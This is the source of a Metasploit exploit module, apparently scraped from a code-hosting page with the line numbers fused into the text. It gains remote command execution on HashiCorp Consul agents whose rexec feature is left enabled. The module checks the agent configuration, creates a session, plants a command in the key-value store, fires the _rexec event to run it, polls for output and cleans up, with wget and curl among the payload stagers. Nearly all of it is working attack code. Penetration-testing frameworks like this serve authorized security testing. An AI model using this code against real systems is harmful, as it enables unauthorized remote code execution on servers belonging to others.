Path: blob/master/modules/exploits/multi/misc/consul_rexec_exec.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Hashicorp Consul Remote Command Execution via Rexec",16'Description' => %q{17This module exploits a feature of Hashicorp Consul named rexec.18},19'License' => MSF_LICENSE,20'Author' => [21'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC22'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC23'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module24],25'References' => [26[ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],27[ 'URL', 'https://www.consul.io/docs/commands/exec.html'],28[ 'URL', 'https://github.com/torque59/Garfield' ]29],30'Platform' => 'linux',31'Targets' => [ [ 'Linux', {} ] ],32'Payload' => {},33'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],34'Privileged' => false,35'DefaultTarget' => 0,36'DisclosureDate' => '2018-08-11',37'Notes' => {38'Reliability' => UNKNOWN_RELIABILITY,39'Stability' => UNKNOWN_STABILITY,40'SideEffects' => UNKNOWN_SIDE_EFFECTS41}42)43)44register_options(45[46OptString.new('TARGETURI', [true, 'The base path', '/']),47OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),48OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),49OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),50Opt::RPORT(8500)51]52)53end5455def check56uri = target_uri.path57res = send_request_cgi({58'method' => 'GET',59'uri' => normalize_uri(uri, "/v1/agent/self"),60'headers' => {61'X-Consul-Token' => datastore['ACL_TOKEN']62}63})64unless res65vprint_error 'Connection failed'66return CheckCode::Unknown67end68begin69agent_info = JSON.parse(res.body)70if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false71return CheckCode::Vulnerable72else73return CheckCode::Safe74end75rescue JSON::ParserError76vprint_error 'Failed to parse JSON output.'77return CheckCode::Unknown78end79end8081def execute_command(cmd, opts = {})82uri = target_uri.path8384print_status('Creating session.')85res = send_request_cgi({86'method' => 'PUT',87'uri' => normalize_uri(uri, 'v1/session/create'),88'headers' => {89'X-Consul-Token' => datastore['ACL_TOKEN']90},91'ctype' => 'application/json',92'data' => { :Behavior => "delete", :Name => "Remote Exec", :TTL => "15s" }.to_json93})9495if res and res.code == 20096begin97sess = JSON.parse(res.body)98print_status("Got rexec session ID #{sess['ID']}")99rescue JSON::ParseError100fail_with(Failure::Unknown, 'Failed to parse JSON output.')101end102end103104print_status("Setting command for rexec session #{sess['ID']}")105res = send_request_cgi({106'method' => 'PUT',107'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"),108'headers' => {109'X-Consul-Token' => datastore['ACL_TOKEN']110},111'ctype' => 'application/json',112'data' => { :Command => "#{cmd}", :Wait => 2000000000 }.to_json113})114if res and not res.code == 200 or res.body == 'false'115fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')116end117118print_status("Triggering execution on rexec session #{sess['ID']}")119res = send_request_cgi({120'method' => 'PUT',121'uri' => normalize_uri(uri, "v1/event/fire/_rexec"),122'headers' => {123'X-Consul-Token' => datastore['ACL_TOKEN']124},125'ctype' => 'application/json',126'data' => { :Prefix => "_rexec", :Session => "#{sess['ID']}" }.to_json127})128if res and not res.code == 200129fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')130end131132begin133Timeout.timeout(datastore['TIMEOUT']) do134res = send_request_cgi({135'method' => 'GET',136'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"),137'headers' => {138'X-Consul-Token' => datastore['ACL_TOKEN']139}140})141begin142data = JSON.parse(res.body)143break if data.include? 'out'144rescue JSON::ParseError145fail_with(Failure::Unknown, 'Failed to parse JSON output.')146end147sleep 2148end149rescue Timeout::Error150# we catch this error so cleanup still happen afterwards151print_status("Timeout hit, error with payload ?")152end153154print_status("Cleaning up rexec session #{sess['ID']}")155res = send_request_cgi({156'method' => 'PUT',157'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"),158'headers' => {159'X-Consul-Token' => datastore['ACL_TOKEN']160}161})162163if res and not res.code == 200 or res.body == 'false'164fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')165end166167res = send_request_cgi({168'method' => 'DELETE',169'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="),170'headers' => {171'X-Consul-Token' => datastore['ACL_TOKEN']172}173})174175if res and not res.code == 200 or res.body == 'false'176fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')177end178end179180def exploit181execute_cmdstager()182end183end184185186